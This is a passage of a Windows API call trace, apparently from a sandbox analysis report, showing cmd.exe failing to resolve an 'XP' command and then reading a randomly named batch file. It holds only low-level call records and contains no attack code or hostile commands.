[0162.109] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" and is listed separately on this page. Synta ") returned 51 [0162.109] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.109] GetFileType (hFile=0x50) returned 0x2 [0162.109] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.109] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.110] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.110] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x33) returned 1 [0162.111] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.111] GetFileType (hFile=0x50) returned 0x2 [0162.112] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.112] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.114] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.114] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.114] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.115] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.115] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0162.115] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0162.115] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0162.115] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0162.115] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0162.115] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0162.115] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0162.115] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0162.115] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0162.115] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0162.115] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0162.116] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0162.116] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0162.116] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0162.116] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0162.116] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0162.116] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0162.116] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0162.116] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0162.116] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0162.116] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0162.116] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0162.116] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0162.116] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0162.116] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0162.116] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0162.116] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0162.116] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0162.116] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0162.116] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0162.116] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0162.116] _wcsicmp (_String1="XP", _String2="START") returned 5 [0162.116] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0162.116] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0162.116] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0162.116] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0162.116] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0162.116] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0162.116] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0162.116] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0162.116] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0162.116] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0162.117] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0162.117] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.117] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.117] GetProcessHeap () returned 0x20b0f920000 [0162.117] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.120] SetErrorMode (uMode=0x0) returned 0x0 [0162.120] SetErrorMode (uMode=0x1) returned 0x0 [0162.120] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.120] SetErrorMode (uMode=0x0) returned 0x1 [0162.120] GetProcessHeap () returned 0x20b0f920000 [0162.120] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x3e) returned 0x20b0f957f90 [0162.120] GetProcessHeap () returned 0x20b0f920000 [0162.120] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x3e [0162.120] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.120] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.120] GetProcessHeap () returned 0x20b0f920000 [0162.120] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.120] GetProcessHeap () returned 0x20b0f920000 [0162.120] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.120] GetProcessHeap () returned 0x20b0f920000 [0162.120] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.120] GetProcessHeap () returned 0x20b0f920000 [0162.120] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.120] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.120] GetProcessHeap () returned 0x20b0f920000 [0162.120] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.120] GetProcessHeap () returned 0x20b0f920000 [0162.120] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.120] GetProcessHeap () returned 0x20b0f920000 [0162.120] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.121] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.121] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.121] GetLastError () returned 0x2 [0162.121] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.121] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.121] GetLastError () returned 0x2 [0162.121] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.121] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.121] GetLastError () returned 0x2 [0162.121] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.122] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.122] GetLastError () returned 0x2 [0162.122] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.122] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.122] GetLastError () returned 0x2 [0162.122] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.122] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.122] GetLastError () returned 0x2 [0162.122] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.123] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.123] GetLastError () returned 0x2 [0162.123] ??_V@YAXPEAX@Z () returned 0x1 [0162.123] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.123] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.123] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.123] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.123] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.124] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0162.124] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0162.124] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0162.124] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0162.124] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0162.124] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0162.124] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0162.124] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0162.124] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0162.124] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0162.124] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0162.124] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0162.124] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0162.124] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0162.124] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0162.124] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0162.124] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0162.124] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0162.124] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0162.124] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0162.124] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0162.124] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0162.124] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0162.124] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0162.124] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0162.124] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0162.124] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0162.124] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0162.124] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0162.124] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0162.124] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0162.125] _wcsicmp (_String1="XP", _String2="START") returned 5 [0162.125] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0162.125] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0162.125] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0162.125] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0162.125] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0162.125] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0162.125] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0162.125] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0162.125] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0162.125] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0162.125] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0162.125] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0162.125] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0162.125] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0162.125] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0162.125] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0162.125] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0162.125] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0162.125] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0162.125] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0162.125] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0162.125] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0162.125] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0162.125] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0162.125] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0162.125] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0162.125] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0162.125] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0162.125] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0162.125] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0162.125] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0162.125] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0162.125] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0162.125] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0162.126] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0162.126] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0162.126] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0162.126] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0162.126] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0162.126] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0162.126] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0162.126] _wcsicmp (_String1="XP", _String2="START") returned 5 [0162.126] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0162.126] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0162.126] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0162.126] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0162.126] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0162.126] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0162.126] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0162.126] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0162.126] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0162.126] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0162.126] _wcsicmp (_String1="XP", _String2="FOR") returned 18 [0162.126] _wcsicmp (_String1="XP", _String2="IF") returned 15 [0162.126] _wcsicmp (_String1="XP", _String2="REM") returned 6 [0162.127] ??_V@YAXPEAX@Z () returned 0x1 [0162.127] GetProcessHeap () returned 0x20b0f920000 [0162.127] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957fe0 [0162.127] GetProcessHeap () returned 0x20b0f920000 [0162.127] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x7c) returned 0x20b0f956d00 [0162.127] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0162.127] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.127] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.128] GetProcessHeap () returned 0x20b0f920000 [0162.128] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fd0 [0162.129] SetErrorMode (uMode=0x0) returned 0x0 [0162.129] SetErrorMode (uMode=0x1) returned 0x0 [0162.129] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967fe0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.129] SetErrorMode (uMode=0x0) returned 0x1 [0162.129] GetProcessHeap () returned 0x20b0f920000 [0162.129] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fd0, Size=0x3e) returned 0x20b0f967fd0 [0162.129] GetProcessHeap () returned 0x20b0f920000 [0162.129] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fd0) returned 0x3e [0162.129] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.129] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.129] GetProcessHeap () returned 0x20b0f920000 [0162.129] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.129] GetProcessHeap () returned 0x20b0f920000 [0162.129] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.129] GetProcessHeap () returned 0x20b0f920000 [0162.129] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.129] GetProcessHeap () returned 0x20b0f920000 [0162.129] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.129] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.129] GetProcessHeap () returned 0x20b0f920000 [0162.129] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.130] GetProcessHeap () returned 0x20b0f920000 [0162.130] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.130] GetProcessHeap () returned 0x20b0f920000 [0162.130] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.130] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.130] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.130] GetLastError () returned 0x2 [0162.130] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.130] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.130] GetLastError () returned 0x2 [0162.130] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.130] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.131] GetLastError () returned 0x2 [0162.131] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.131] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.131] GetLastError () returned 0x2 [0162.131] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.131] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.131] GetLastError () returned 0x2 [0162.131] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.131] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.131] GetLastError () returned 0x2 [0162.131] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.131] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.132] GetLastError () returned 0x2 [0162.132] ??_V@YAXPEAX@Z () returned 0x1 [0162.132] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.132] GetFileType (hFile=0x54) returned 0x2 [0162.132] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.132] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.133] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.133] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.133] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.134] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'XP' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.134] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x5d) returned 1 [0162.134] ??_V@YAXPEAX@Z () returned 0x1 [0162.135] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.135] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.135] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.135] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.135] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.135] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.135] SetConsoleInputExeNameW () returned 0x1 [0162.136] GetConsoleOutputCP () returned 0x1b5 [0162.136] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.136] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.137] ??_V@YAXPEAX@Z () returned 0x1 [0162.138] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.138] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.138] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.138] SetFilePointer (in: hFile=0x94, lDistanceToMove=655, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x28f [0162.138] GetProcessHeap () returned 0x20b0f920000 [0162.138] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.138] GetProcessHeap () returned 0x20b0f920000 [0162.139] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.139] GetProcessHeap () returned 0x20b0f920000 [0162.139] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.139] GetProcessHeap () returned 0x20b0f920000 [0162.139] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fd0) returned 1 [0162.139] GetProcessHeap () returned 0x20b0f920000 [0162.139] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d00) returned 1 [0162.139] GetProcessHeap () returned 0x20b0f920000 [0162.139] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957fe0) returned 1 [0162.139] GetProcessHeap () returned 0x20b0f920000 [0162.139] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.139] GetProcessHeap () returned 0x20b0f920000 [0162.139] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.139] GetProcessHeap () returned 0x20b0f920000 [0162.139] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.139] GetProcessHeap () returned 0x20b0f920000 [0162.139] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.140] GetProcessHeap () returned 0x20b0f920000 [0162.140] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.140] GetProcessHeap () returned 0x20b0f920000 [0162.140] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946830) returned 1 [0162.140] GetProcessHeap () returned 